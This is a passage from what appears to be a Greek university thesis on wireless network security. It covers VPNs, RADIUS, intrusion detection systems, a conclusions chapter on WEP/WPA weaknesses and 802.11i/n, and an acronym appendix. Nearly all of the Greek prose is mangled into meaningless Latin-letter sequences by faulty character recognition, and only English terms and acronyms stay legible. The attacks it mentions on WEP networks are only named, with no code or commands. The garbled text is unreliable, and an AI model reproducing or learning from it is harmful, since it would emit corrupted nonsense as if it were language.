EmumAgov, ) xprjom evog VPN Sikthou TPouToOETEL TNV EYKATAGTAOT AOYIOUIKOV OE
KaOe oTaBuod mov TpoOKeLTaL Vo ouvSeDel aTo SikTLO. AUTO dUWG TIPOGHETEL AKOUA EVay
TEPLOPLOUO, POV Ta TIEPLoTOTEPX AoyLopikd VPN mpoopifovtat yia Windows
Aettoupyika. Ilpaypa ov onuaivel 6TL otabuol pe AeITovpyLKd cuoThpata 6TIws MAC
0S, linux kat vtoAoylotég TaAaung (palmtop), pmopei va unv pmopoviv va cuvdefolv
oTo SikTu.

4.7.3 RADIUS

To tpwtoOK0AA0 Remote Authentication Dial-In User Service (RADIUS) avamtiydnke
ato v Livingston Enterprises, wg server mpoofacmng, motomoinong kat
TAPAKOAOVONONG. AV KAL TO TIPWTOKOAAD VTS SNULOVPYTBNKE TIPLY XPOVIX YIX VO
eEUTIMPETIOEL ATTOUAKPUGPEVOUG XPTOTEG WOTE VX CUVEEOVTAL UE ACPAAELN OE ETALPLKA
Sixtua, onjuepa xpnowpomoleital o€ VPNs kat WLANS yla Ty amokTnon Touv eAEyxou
KAOE TTpAUETPOL TNG GUVEEOT.

To tpwtokoAA0 RADIUS Baciletal oto povtédo client/server. Ta onpeia pocPacng
(NAS-Network Access Servers) BswpovvTtal clients tov RADIUS. O client avaAapfavel va
TpowONoEL TNV TANpOo@Oopla Tov xpriotn otov apuodio RADIUS server kat ekteAel TG
EVTOAEG TTOV B TOV OTAAOVV THOW ATIO TO Server.

O RADIUS server 11 daemon givat vtetBLVVOG YLa TIG UTINPECLEG TILOTOTIO MO G KoL
TapakoAoVOnong otig cuokevég NAS. Emtiong AauBavel T altnoelg ovvseons Twv
XPNOTWYV, TIG TILOTOTIOLEL KL TEAOG ETILOTPEPEL OAT TN TIANPOYOPIA UE TIG ATALITOVUEVES
puBuioelg yia toug clients wote va 50000V oL alTOVIEVEG UTINPECIEG GTOUG XP1|OTES.
(Wikipedia)
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4.7.4 INTRUSION DETECTION SYSTEMS (IDSS)

O avixveuTég eloBoAéwV elvatl CUOKEVEG 1} AOYLOULKA TTApaKoAOVONGN G TNG Kivion G o€
£va §IKTLO [LE OKOTIO TNV aVAALGT] TG YLa oNHadSia KakoBovAwy emiBécewv. Ev
ouvtopia, Ta epyaieia IDSs €ouv WG OKOTO TNV avixveLvoT eMBECEWY KATA TOV
UTIOAOYLOTN KOl 0T GUVEXELX TNV €K600T] KATIoLoV €(60VG TTPoELSOTI0INONS TTPOG TOUG
EVSLAPEPOUEVOUG.

Ta cuoTHATA AVTA EIVAL ATIOTEAECUATIKA OTAV XPTGLULOTIOLOVVTOL OE CUVEUAGHO [E T
161 VTTAPYOVTA HETPA TIPOCTACING TWV SIKTUWV (TIOALTIKY) ACQOAEIAS TPWTWV
onpeiwv, kpumToypA@noT Sedopévwy, TAUTOTIOMON TOV XPNoTH, EAeyxo TipocPacng
Kol TelXn mpootaciag).

Ta ev Adyw cuoTUaTa elval KUPLWGS ATTaHpALTNTA € HEYAAES 1) GAAEG ETILXELPT|OELG UE
EKTETAUEVO SiKTUO. ME QUTO TOV TPOTIO OL ETIYELPTOELS Elval o€ BEOT) VX TIPOOTATEYOUV
TNV EMKOWVWVIXG AVAUESA OTA HEAT TNG KAL VA EEA0PAALCEL, €V HEPEL TNV TIPOCTACIO
TV Se80UEVWV IOV aVTAAAGoOVTAL avapesa ota PEAT 6. Ta IDSs pmopovv va
KatnyoplomonBovv o€ Svo KUpleg opddeg, ol omoies eivar ot Network IDSs (NIDSs) kat
Host IDSs (HIDSs).

Ta HIDSs Aettoupyotv PdxvovTag yla KAToLo €806 el00ANG o€ éva LOVo cVCTHUA
(host) kat To omolo tpootatevovy. H Aoyikn 8w etval 6TL kaBe host TpootateveTal ano
éva Eexwploto HIDS. Mo ouykekpuéva avaivovtatl logins, mpoofacipdtnta oe apxeia,
UETATPOTIEG SIKALWUATWY K.l

Ao Vv dAAN ta NIDSs avaivouv thv kivnon Tov uTtdpyeL 6 0AOKAN PO TO SiKTUO.
Zuvn0wg éva cVatnua NIDS tomobeteital oo switch evog Siktvov kal avaAvel kabe
TIAKETO TIOV ELCEPXETAL KAL EEEPYETAL ATIO AUTO.

Ev katakAelS, TapdTL TA CUGTIUATA AVTA ATTOTEAOVV VA TTOAUTIHO EPYAAELO TTOV
umopei va eyyun0et tv avafaduiong g ao@aAELaG pLag MXeipnong, o€ kKapia
mepintwon 8¢ pmopel va avTikataotnosl dAAeg pebodovg ac@aieiag. Ta cuoTuata
aQUTA 8€ UTTOPOVV TTAPA va XproLpoTo 0oy o mepBdAAiovta 6TIOU Woxouy 1181 Ta
amapaitnta petpa ac@aieiag. (Wikipedia)
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KE®AAAIO 5. ZYMIIEPAXMATA

5.1 ANAKE®AAAIQXH

Y& quTO TO KEPAALO Ba YIVEL Ll TUVTOUT] AVAOKATINOT] TG TITUXLAKNG EPYACIAG, TWV
OTOXWV OAAX KOL TWV ATOTEAECUATWY OUTHG.

ZTOX0G QUTNG TNG EPYACILG 1) TAV VA TTIOPOVGLACEL TIG aSUVaieS TwV HEBOSwV
KPUTITOYPAPTONG — AOQAAELAG TTIOU £QAPUOLOVTAL OE CUCTNUATA SIKTUWV ACUPUOTNG
emkolvwviag. BéBata adltau@ionTo yeyovag amotelel n TANOwpPA TwV
TIAEOVEKTNUATWV TIOV €XEL VA TIPOCPEPEL T acVppaTh eTikovwvia. H gvediia g
(POPNTOTNTAG, 1] YPNYOPT] VAOLTION 0T KAL TO XXUNAG KOGTOG XP1OT§ E(VOAL HEPIKA ATTO TA
OTHAVTIKOTEPA ATOV TNG XPNONG TOV AEPA WG LEGO UETASOONG TNG TIAT|POPOPLAG.

Q0TO00, TA KEVA TG AOPAAELXG O€ £va TETOLO (806 eMKOVWVING @aivetal va
HEYAAWVOUV OAO KUL TILO TTOAU XPOVO HE TO XPOVO, KABLoTWVTAG auToV TOL £(50UG TIG
ETIKOLVWVIEG EEALPETIKA AVACPAAEIS € TIEPLTITWOELS OTIOV 1 TIPOOTACIA TWV SeS0oUEVWV
£xeL e€eyxovta poro.

TV apxmn ¢ Tapovoag EpYaciog ava@epONKoY KATOLX ELCAYWYIKA BEPATA TTIOU
a@opovV Ta SikTua Kal e8IKOTEPA TNV acVPUATN eMkowvwvia. H wotopia g eAéAEng
QUTNG TNG TEXVOAOYIAG ATOTEAEL £va TTOAD OTHAVTIKO KOUUATL YL TNV TIEPALTEPW EEEALEN
™G texvoAoylag. Kortalwvtag miow pmopovpe va Bpovpe TOAAQ Yapéva KOUUATIO TOU
TadA.

YTO EMOUEVO KEQAAALO EYLVE AVAPOPA OTA SOUIKA OTOLXELX ATIO T OTIOX ATTOTEAEITOL
éva aovppato dixktvo. H Sopr) evog acvpuatov SiktOovu emnpealet EMioNG TNV Ao @AAELX
TOU KAl TI§ peBdS0vG OV UTTOPOVV VA EQGAPUOGTOVV YLK TNV TIPOCTACIN TwV SeS0UEVWV
IOV SLaKLvoUVTaAL HEGW aUTOV.

AxolovBwvTag pla mopeia Tpog T E0w, avaAivBnke To TpwtokoAio IEEE 802.11 kaut
OAQ TA TTPATLTIA AVTNG TNG OLKOYEVELAG. Ta XOPOXTNPLOTIKA, 1] TOTTOAOY(Q, KAL)
OPXLTEKTOVIKI] TOU TIPOTUTIOV TIPOSLAYPAPOVV TNV TEXVOAOYIA TWV ACVPUATWY SIKTOWV.

Emtiong avaAuBnkav ot unyavipol ao@aAglog IOV XP1OLHOTIOLOVVTOL EWG KAL OTUEPA.
T'ivetat ava@opa ae peBd80ug KpUTTOYPAPNONG, OTIWG 1 Ttepinun WEP
KPUTITOYPAPT|OT] KOL EXOVUE LLAL EKTEVT] AVAQPOPA GTOV TPOTIO AELTOVPYLAG KAL GT
UELOVEKTILOTA TA TNG. ZTO (510 KEPAANLO ava@EPOVTAL KAL 0L AVGELS IOV SO0 KAV yia
va KaAu@BoUV Ta KeVa Tou d@nve 1 tponyoLpevn péBodog (TKIP, WPA, WPA2).

210 TPpLTO KEPAANLO AVOAVOVTAL OPLOUEVEG AUTIO TIG TILO KOLVEG pHeBOSouG emiBeong o€
acvUppata Siktua. O emBETELS AUTEG XWwPLloVTAL 0€ SUO KATIYOPLES, OTIG EVEPYTTIKEG
KoL 0TIG TTHONTIKEG. OL (S1eG eMIBETELS Y1 TIG OTIOLES YIVETUL AVAPOPA OE AUTO TO
KEQAAMLO, GTO ETOUEVO YIVOVTAL TIPAYUATIKOTNTA. Ot TIPETEL VA TOVIGTEL OTL OAEG OL
emBéoelg yivovtal pe ) BonBeila piag eAevBepng Stavouns Linux, o€ live CD kat ot
TEPLOOOTEPES EVEPYELEG YIVOVTUL LECT ATIO TN YPOLLUT] EVTOAWV.

YTO TETAPTO KEPAANLO TIPAYUATOTOLOUVTAL TIEVTE ETILITUXTUEVEG ETIOETELG OE EVaL
avao@aAés Siktuo pe kpumrtoypagnon WEP. H tpatn enibeomn agopd v alyuaiwnTion
TIAKETWY KAL TNV £§0ywyN XP1OLUWV TTAT|PO@OPLWV YA TO SIKTLO. XT1 GUVEXELX YIVETL
aVAKTN oM TOL PUOTIKOU Kwdikoy WEP kat akoAouBoUv oplopéves emBETELS IOV £XOUV
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G 0TOX0 VA KATAOTEIAOVY TNV AetTovpyia Tov otabuov atdyxov (DOS attack), Tnv kAot
Kwdkwv (Man in the Middle Attcak) kat tnv aAAayr g Mac Address.

Télog yivetat pia ékBeon Twv pebodwv Tig omoieg B UTTopoVcE va EQAPUOGEL KATIOLOG
vy va kaBuotepnoel, e&v OxL va euTtoSioEl, Pl emiBeon o€ Eva avao@ A£G AoUPUATO
Sikrvo.

5.2 ATIOTEAEXEMATA

'Omwg elvat ePPAvVES, To BERA TNG ATPAAELNG OE Eva aoVPUATO SIKTUO ATOTEAEL Eva Ao
To KOPLO LELOVEKTH AT AU TG TNG OPOTIALOTIKA XPT|OLUNG VEAS TEXVOAOYING. ZE
TEPITITWOELG OTIOU 1] ACPAAELN TWV SeSopEvwY OV peTadidovtal Sev £xouv 8Laitepn
onpacia Tote Ba mpEMeL va AN@BoUV Ta KATAAANAQ PETPA YLK TNV TIEPIOTAOT).

H pé6060¢ kpumtoypa@nong Twv SESOUEVOV KL TNG K LETAUPLETHEVTO» LETAPOPAS
TOUG aMOTEAEL pLa TTOAV KA 18€a OHwG Kol auTT] £XEL Ta EAAaTwpata TS Etot
EeKvvTag amd v Tpwn uébodo kpumtoypaenons (WEP), n omoia evowuatwOnke
oto mpotumo IEEE 802.11 to 1997, £wg kot TI§ Lo cuvnBLopéveg peBodovg mov
XPNOLUOTIOLOVVTOL CTILEPX, ATIOSEIKVUETAL OTL KOULA XTIO QUTES TIG TEXVIKESG OEV elval
aSlaTEPATTES.

H pebodog WEP, Eekivnoe pe Tig KaAUTEPEG TPOUTIOOETELG OUWG TIOAV CUVTOUX TX KEVE
™G amodelyONKAV TEPATTLA, OTIWG PAVNKE KoL 0TV ETSELEN AVAKTNOTMG TOU
«HUOTIKOU» KAELBL0VU, 0TO 4° ke@dAalo. Me puia mpoomabela cuAAOYN G apkeTwV IV's
TAKETWYV 1) €NiBeom NTav amAn vtoBeon. Ta mpofAnuata g peBodov Eektvolv amo Ta
IV's, Ta omoia elvat avtda mov kaBopilovv kabe @opd v Pevdotuyaio akoAovdia Tov
TapayetaL amd Tov aAyoptduo RC4.

ApEowG HETA KL AoV EYLVE EYLVAV ELPAVT] TA KEVA TTIOU QUPT|VE TNV ACPAAELA T
TapaATavw PHEB0S0G, TPOTABNKAV AVOELS OTIWG 1) ETLUIKUVOT KAELSLOU KOl EVOAAXKTIKEG
uebodol kpumtoypdenong, 0mws WPA/WPA2 kat to cVoTnua emikvpwong 802.X.

[Mapoda avtd, Ba pEmeL va ava@epBel OTL akOpa KoL auTeS oL pEBodol xouv amoderybel
OPKETA avao@aAeis pe v pebodo WPA va omtdel oTig apyxég tov 2008. Qotdoon
uebodog WPA mpoa@épel T Suvatdtnta TS Xprons Tov aAyoptbuov AES, o omoiog
amotelel BeAtiwon Tov RC4, 6uws amaltel aAdayn eE0TALGUOV IOV XPT|CLUOTIOLEITAL.

OTtwoSNTOTE 1 AVAPOPA OE VTIOO TN PLKTIKEG TEXVOAOYieS, OTwG VPNS, IDSs, Firewalls
kot Radius eivat kaTL Tapamdvew oo xproiun, OUws TPOKELTAL YIX CUUTIAT PWUATIKO
€EOTALOULO TIOU PN CLUOTIOLEITAL YL VX KAAVPEL TAL KEVA TG UTTAPXOVOAS TEXVOAOYLAG.
Y& ePIMTWOoELS 0lKLAKOU TIEPIBAAAOVTOG BEV GUVTPEXEL KATIOLOG L8LAITEPOG AOYOS YA
TNV XP1|0T] TOU EE0TIALOHOU, OUWG OE EMAYYEARATIKO TEPLBAAAOV elval cuviBwe 1 HovN
Aon.
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5.3 TO MEAAON THY AXYPMATHXZ AXPAAEIAX

'Omwg pmopel KATOLOG EVKOAN VX CUUTIEPAVEL, TO LEAAOV TN G ACUPUATNG AT PAAELG
Bpioketal ota véa TpdTuTa TNG olkoyévelag 802.11, dmwe 802.11i kat 802.11n.

To tpoTuTo 802.111, TO 0TIOL0 £YKPIONKE Y TTPWTN Popd TNV 241 [ovviov Tou 2004,
mepAapfavel to cvotnpa 802.X yia emikvpwon (ovpmeplapfavopévng tng xp1ong
EAP - Extensible Authentication Protocol), to RSN (Robust Security Network) yia tnv
aviyvevon twv ocvoyeticewv kot ) peBodo CCMP (Counter Mode with Cipher Block
Chaining Message Authentication Code Protocol),  omola faciletat otov aAyopiBuo
kpumtoypagnong AES (Advanced Encryption Standard).

To CCMP Ttapéyel EUTIOTEVTIKOTITA, ETKUPWOT), AKEPALOTNTA KAL TIPOOTACIH &XTTO TNV
emavaAnym maketwv. Emiong xpnowomolel péyebog kAeldlov 128-bit kot péyebog pmiok
128-bit. Ta Sedopéva Touv Takétov kal to MIC (Message Integrity Code - Yym@ak)
vmoypa@n ) HeTadiSovTal KPUTITOYPAPNUEVA, AoV TIPOGTEDEL 1] apXIKT) ETIIKEPAAISA
TOU TTAKETOV KaL 1) eTKE@aAiSa Touv CCMP.

To mpotumo IEEE 802.11 0pwg mov opllel TNV ao@AAELX TNG ETOUEVTG YEVLAS YK TO
acVUpuata Siktva ovopdletat IEEE 802.11n. To mpdtumo acUpuatns SIKTOwoNS
802.11n mapoTL BplokdTav o€ TpooxeSLo amd Ta peca Tov 2006 emikupwONKE ATTO TNV
IEEE v 12n ZemtepBpiov Tov 2009.

01 ouokevég Tov vtoatnpilouvv acVppatn Siktiwon 802.11n pmopolv va cuvSedovv
ota 300Mbps (egamAdoia amd to poéTuTo 802.11g). AUTO ETLTUYYXAVETAL LE TNV
texvoAroyia MIMO, 1) oTtoiat KAVEL XpTioT TTIOAAXTIAWV KEPALWY GTO TIOUTO KAL TO SEKTN,
Yl 660 T0 SUVATOV PHEYOAUTEPT TAXUTNTA.

To 802.11n ekmépmel ota 5GHz dpwg Statnpel v cupfatotnta tov pe diktva
802.11b/g mov ekmepmovv ota 2.4GHz. H epfédeia tou o€ 0w TEPIKONG XWPOUG
vmoAoyiletat (BewpnTikd) ota 90 péTpa evw o€ eEWTEPLKONVG XwWPOoUs ot 182 péTpa.

Q06TO600 0 TOUENS TNG ACPAAELNG GTO TIPOTUTIO AUTO TIAPAUEVEL VA TIPOBANUA TIPOG
emegepyaoia, KABWGS To VEO AUTO TPATUTIO TIAPOTL TPOCPEPEL KALVOTOUEG SUVATOTNTES
ToxVLTNTOS Kal ePPEAELOG KA povopel TTOAAG aTtd Ta aSUVAUX OUELN TWV TIPOTYOVUUEVWV
mpotuTwy (802.11a/b/g) ot Bpata acarelag. Omws cuppaivel OpwS pe KaBe véa
TexvoAoyla, n épeuva kal 1 Soxiun eival amappaitntn Stadikaoia yio eEEALEN.
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[TAPAPTHMA A. AKPONYMA KAI ZYNTOMOTI'PA®IEX

AES Advanced Encryption Standard

AP Access Point

BBS Basic Service Set

CCMP Counter Mode-Cipher Block Chaining Mac Protocol

CRC Cyclic Redudancy Check

CSMA/CD Sense Multiple Access / Collision Detection

DCF Distributed Coordination Function

DHSS Direct Sequence Spread Spectrum

DOS Denial of service

DS Distribution System

EAP Extensible Authentication Protocol

ESS Extended Service Set

FHSS Frequency Hopping Spread Spectrum

GPRS General packet radio service

HR-DSSS High Rate Direct Sequence Spread Spectrum

ICV Integrity Check Value

IDS Intrusion Detection Systems

IV Initialization Vector

LAN Local Area Network

LLC Logical Link Control

LMDS Local Multipoint Distribution Service

LOS Line Of Sight

MAC Media Access Control

MAN Metropolitan Area Network

MIMO Multiple Input Multiple Output

MMDS Microwave Multipoint Distribution Service

MPDU Mac Protocol Data Unit

MSDU Mac Service Data Unit

NIC Network Interface Card

OFDM Orthogonal Frequency-Division Multiplexing

0SA Open System Authentication

PAN Personal Area Network

PCF Point Coordination Function

PCMCIA Personal Computer Memory Card International
Association

RADIUS Remote Authentication Dial-In User Service

RSN Robust Secure Network

SKA Shared Key Authentication

SSID Service Set Identifier

SWAP Shared Wireless Access Protocol

TKIP Temporal Key Integrity Protocol
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TSN
VPN
WECA
WEP
WLAN
WPA
WPA2
WRAP

Transitional Security Network

Virtual Private Network

Wireless Ethernet Compatibility Alliance
Wired Equivalent Privacy

Wireless Local Area Network

Wi-Fi Protected Access

Wi-Fi Protected Access Version 2
Wireless Robust Authentication Protocol




